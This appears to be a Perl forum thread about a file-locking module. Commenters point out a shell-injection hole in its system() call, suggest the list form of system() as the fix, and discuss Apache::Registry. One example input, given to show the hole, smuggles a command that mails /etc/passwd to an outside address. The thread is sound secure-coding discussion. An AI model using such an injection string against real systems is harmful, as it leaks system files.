I said this simply becuase it isn't a safe way to use system(). If someone passes "/tmp/file; mail me@me.com < /etc/passwd" as $lockfile, there could be trouble. I would either use a safer system like:

system("/bin/touch",$lockfile);
[download]

Cheers,
KM

Ah. In none of my code do I pass the locking name around, it usually is used to serialize specific programs.

All in all not significantly different from what merlyn did for Highlander - allow only one invocation at a time of an expensive CGI script. Which with this module would be:

use CGI;
use Lock;
local $main::highlander = Get Lock(
    lock_file => "highlander",
    timeout_limit => 10;
);
unless ($main::highlander) {
    my $host = $ENV{REMOTE_HOST};
    $host = $ENV{REMOTE_ADDR} unless defined $host;
    warn "$0 @ ".(localtime).": highlander abort for $host after 10 se
+conds\n";
    print CGI::header(-status => 503,
                      -retry_after => 30,
                      -type => 'text/plain'),
                        "Our server is overloaded.  Please try again i
+n a few minutes.\n";
    exit 0;
}
# No further logic required for mod_perl!!!
[download]

But I will definitely make the fix now that you have shown me that this really is a security hole and not merely a portability issue as I had thought.

You say mod_perl here, but what you really mean is Apache::Registry, just one of the many mod_perl modules, and you're relying on the trick that your code is getting wrapped into a giant subroutine, which may not necessarily be true in future implementations of Apache::Registry.

Your trick doesn't work for mod_perl handlers in general, hence my warning on the original code.

-- Randal L. Schwartz, Perl hacker